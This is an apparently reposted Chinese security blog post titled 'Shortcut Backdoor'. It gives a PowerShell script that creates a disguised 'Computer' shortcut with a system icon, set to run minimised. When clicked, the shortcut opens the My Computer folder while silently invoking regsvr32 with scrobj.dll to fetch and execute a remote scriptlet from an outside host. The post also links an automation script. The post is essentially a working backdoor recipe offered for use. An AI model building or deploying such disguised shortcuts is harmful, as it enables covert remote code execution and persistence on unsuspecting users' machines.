Shortcut Backdoor

hoxton 教学频道 5年前

5.72W 0

PS code:

$file = Get-Content "C:\Users\evi1cg\Desktop\backdoor\link\test.txt"

$WshShell = New-Object -comObject WScript.Shell

$Shortcut = $WshShell.CreateShortcut("C:\Users\evi1cg\Desktop\backdoor\link\计算机.lnk")

$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"

$Shortcut.WindowStyle = 7

$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,15"

$Shortcut.Arguments = ' '+ $file

$Shortcut.Save()

test.txt:

/c explorer.exe /e,::{20D04FE0-3AEA-1069-A2D8-08002B30309D} | regsvr32.exe /u /s /i:https://evi1cg.me/scripts/calc.png scrobj.dll

DEMO:

写了一个自动化的脚本，地址如下：

https://gist.github.com/Ridter/a360f94d8ac9a8c30227e3812dfbb329

DEMO：

文章出处：Evi1cg's blog

原文链接：https://evi1cg.me/archives/Shortcut_Backdoor.html

本文来源Evi1cg's blog ，经授权后由hoxton发布，观点不代表华盟网的立场，转载请联系原作者。

官方

145篇文章 5.16M总阅读量